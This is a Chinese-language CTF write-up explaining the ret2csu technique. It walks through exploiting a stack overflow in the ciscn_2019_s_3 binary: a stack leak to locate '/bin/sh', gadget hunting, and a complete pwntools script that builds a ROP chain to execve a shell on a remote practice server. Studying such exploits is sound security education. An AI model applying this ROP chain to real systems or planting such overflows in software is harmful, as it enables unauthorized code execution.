要么改变世界,要么适应世界

初识ret2csu

2022-10-20 18:22:03
33
目录

在 64 位程序中,函数的前 6 个参数是通过寄存器传递的,但是大多数时候,我们很难找到每一个寄存器对应的 gadgets,换句话说,我们不能够通过pop的方式直接修改所需要的寄存器, 这时候,我们可以利用 x64 下的__libc_csu_init中的 gadgets。这个函数是用来对 libc 进行初始化操作的,在这里边,会对很多寄存器初始化,而一般的程序都会调用 libc 函数,所以这个函数一定会存在。

我们以一道题目为例:【ciscn_2019_s_3】

获取题目基础信息

$ file ciscn_s_3
ciscn_s_3: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=af580816080db5e4d1d93a271087adaee29028e8, not stripped

64位小端程序,很常规

RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols      FORTIFY  Fortified       Fortifiable     FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   68 Symbols     No     0

没有canary,说明如果有栈溢出漏洞,则我们可以利用,另外NX也开启了,说明栈上不可执行。常规得不能再常规了。

题目分析

使用IDA分析,重要函数vuln如下:

push    rbp
mov     rbp, rsp
xor     rax, rax
mov     edx, 400h       ; count
lea     rsi, [rsp+buf]  ; buf
mov     rdi, rax        ; fd
syscall                 ; LINUX - sys_read
mov     rax, 1
mov     edx, 30h        ; count
lea     rsi, [rsp+buf]  ; buf
mov     rdi, rax        ; fd
syscall                 ; LINUX - sys_write
retn

实际上就是通过系统调用的方式调用了read()write()函数,具体为最多写进0x400h个数据,然后再输出从buf开始的位置的0x30h个数据。

而我们的buf长度为0x10,也就是说我们可以利用栈溢出漏洞干点事情。

在此之前,我们先看看系统调用的一些知识。

系统调用

32位和64位系统调用有一些区别,具体为:

32位与64位 系统调用的区别:

  1. 传参方式不同

  2. 系统调用号不同

  3. 调用方式 不同

32位 64位
传参方式 先将系统调用号传入 eax,然后将参数从左到右依次存入 ebx,ecx,edx寄存器中,返回值存在eax寄存器 首先将系统调用号 传入 rax,然后将参数 从左到右 依次存入 rdi,rsi,rdx寄存器中,返回值存在rax寄存器
常见系统调用号 sys_read 的调用号 为 3
sys_write 的调用号 为 4
sys_read 的调用号 为 0
sys_write 的调用号 为 1
stub_execve 的调用号 为 59
stub_rt_sigreturn 的调用号 为 15
调用方式 使用 int 80h 中断进行系统调用 使用 syscall 指令进行系统调用

其他系统调用号可以参照文件/usr/include/asm/unistd.h

溢出漏洞利用

确定其能够溢出以后,我们可以尝试利用溢出,控制程序的走向,即构造execv('/bin/sh',0,0),再通过syscall执行execv,从而获取shell,栈大致布局如下:

rax=59
rdi='/bin/sh'
rsi=0
rdx=0
syscall

但是我们并没有上述连续的片段可以利用,只能借助几个片段来进行。

同时我们还要获取'/bin/sh'的地址,可是我们在IDA中,并没有发现此字符串,也就是说要我们手动构造,构造倒也不是难事,主要是如何找到该字符串地址?

我们在此回顾之前的vuln函数,我们会发现,该函数中会出输出从buf开始的0x30h的数据,而刚刚进入该函数的时候,栈内的大致布局如下

# 低地址
buf 
...
buf
main_rbp
main_retn_addr
main's father function rbp
main's father function retn_addr
....
# 高地址

虽然栈地址每次都会改变,但是进入函数后,buf的地址和main_retn_addr之间的偏移是不变的,因此我们可以借助write函数泄露的地址来确定buf的地址,进一步地,如果我们在buf中写入'/bin/sh',那该字符串的地址我们也就得到了。

获取到地址后,我们要继续回到vuln函数中,继续利用栈溢出漏洞,即构造execv的执行。

值得注意的是,在vuln函数中,并没有恢复栈平衡,在buf下面直接是返回地址,因为程序中,retn指令之前并没有leave指令.

下一步,我们再动态调试,看一下之前说的偏移是多少,我们先运行到第一个系统调用之前:

──────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────
   0x4004ee <vuln+1>     mov    rbp, rsp
   0x4004f1 <vuln+4>     xor    rax, rax
   0x4004f4 <vuln+7>     mov    edx, 0x400
   0x4004f9 <vuln+12>    lea    rsi, [rsp - 0x10]
   0x4004fe <vuln+17>    mov    rdi, rax
 ► 0x400501 <vuln+20>    syscall  <SYS_read>
        fd: 0x0 (/dev/pts/0)
        buf: 0x7fffffffde60 ◂— 0x0
        nbytes: 0x400
   0x400503 <vuln+22>    mov    rax, 1
   0x40050a <vuln+29>    mov    edx, 0x30
   0x40050f <vuln+34>    lea    rsi, [rsp - 0x10]
   0x400514 <vuln+39>    mov    rdi, rax
   0x400517 <vuln+42>    syscall 
──────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────
00:0000│ rbp rsp 0x7fffffffde70 —▸ 0x7fffffffde90 ◂— 0x1
01:0008│         0x7fffffffde78 —▸ 0x400536 (main+25) ◂— nop    
02:0010│         0x7fffffffde80 —▸ 0x7fffffffdfa8 —▸ 0x7fffffffe2f8 ◂— '/home/kali/Desktop/my_share/chanllenge/ciscn_2019_s_3/ciscn_s_3'
03:0018│         0x7fffffffde88 ◂— 0x100000000

我们可以看到当前栈底指针为rbp=0x7fffffffde70,我们发现在主函数中,调用vuln的下一行代码的地址是0x400536,并不是以0x7f开头的,不方便计算偏移,因此我们使用0x7fffffffde80指向的内存中的内容0x7fffffffdfa8计算偏移地址,然后继续运行,输入aaaabbba,然后查找该字符串:

pwndbg> search aaaabbba
Searching for value: 'aaaabbba'
[stack]         0x7fffffffde60 'aaaabbba\n'

0x7fffffffdfa8-0x7fffffffde60=0x148

因此获取的字符串地址的代码为:

vuln_addr = 0x0004004ED
payload = flat([b'/bin/sh\0' * 2, vuln_addr])

hacker.sendline(payload)

hacker.recv(0x20)
rbp = u64(hacker.recv(8))
bin_sh_addr = rbp - 0x148

找到了字符串后,我们再来回顾一下要做的事情

rax ← 59
rdi ← /bin/sh
rsi ← 0
rdx ← 0
syscall

**注意:**1-4行的顺序可变,只要保证执行syscall的时候,其对应的寄存器中的值是上述描述的即可。

通过下面的两个命令,我们可以得到控制上述的指令:

$ ROPgadget --binary ciscn_s_3  --only 'pop|ret'
$ ROPgadget --binary ciscn_s_3  --only 'mov|ret'

然后我们却无法找到直接修改rdx的地方。

然后,我们可以通过使用下面的命令查找修改该寄存器的地方:

$ objdump ciscn_s_3 --disassemble  -M intel | grep rdx
400580: mov    rdx,r13

继续使用命令观察0x400580后面的指令:

400580: mov    rdx,r13
400583: mov    rsi,r14
400586: mov    edi,r15d
400589: call   QWORD PTR [r12+rbx*8]

可以看到还是能修改完,然后跳转的!只要在这里边将r12设置为返回的地址,rbx设置为0。

最终利用链如下图:

ROPgadget

前两个gadgets就是利用了ret2csu的思想。

值得注意的是,call最终实际调用的地方是[[r12+rbx*8]],假如说,我们的mov rax, 0x3b的地址是7,然后我们将该地址写入到栈上地址为3的地方,则我们的r12+rbx*8的值为3,即

call.drawio

第二次溢出利用代码为:

payload = b'/bin/sh\0' * 2

payload += p64(pop_rbx_rbp_r12_r13_r14_r15_ret_addr)
# bin_sh_addr + 0x50 是 mov_rax_ret_addr 所在地址
payload += p64(0) * 2 + p64(bin_sh_addr + 0x50) + p64(0) * 3 + p64(mov_rdx_rsi_edi_call_addr)
payload += p64(mov_rax_ret_addr) + p64(pop_rdi_ret)+p64(bin_sh_addr) + p64(syscall_addr)

hacker.sendline(payload)

完整代码

from pwn import *
from LibcSearcher  import *
context(log_level = 'debug', os = 'linux', arch = 'amd64')
debug = False
hacker = None 
if debug:
    hacker = process('./ciscn_s_3')
else:
    hacker = remote('node4.buuoj.cn', 26674)

padding = 0x10
elf = ELF('./ciscn_s_3')

vuln_addr = 0x0004004ED
payload = flat([b'/bin/sh\0' * 2, vuln_addr])

hacker.sendline(payload)

hacker.recv(0x20)
rbp = u64(hacker.recv(8))
bin_sh_addr = rbp - 0x118
# bin_sh_addr = rbp - 0x148
pop_rbx_rbp_r12_r13_r14_r15_ret_addr = 0x40059A
mov_rdx_rsi_edi_call_addr = 0x400580
mov_rax_ret_addr = 0x4004e2
pop_rsi_r15_ret_addr = 0x4005a1
pop_rdi_ret = 0x4005a3
syscall_addr = 0x400517

payload = b'/bin/sh\0' * 2

payload += p64(pop_rbx_rbp_r12_r13_r14_r15_ret_addr)
# bin_sh_addr + 0x50 是 mov_rax_ret_addr 所在地址
payload += p64(0) * 2 + p64(bin_sh_addr + 0x50) + p64(0) * 3 + p64(mov_rdx_rsi_edi_call_addr)
payload += p64(mov_rax_ret_addr) + p64(pop_rdi_ret)+p64(bin_sh_addr) + p64(syscall_addr)

hacker.sendline(payload)
hacker.interactive()

然而本题中,官方提供的程序和实际远程运行的不一致,使得之前说的偏移量并不是0x148.

历史评论
开始评论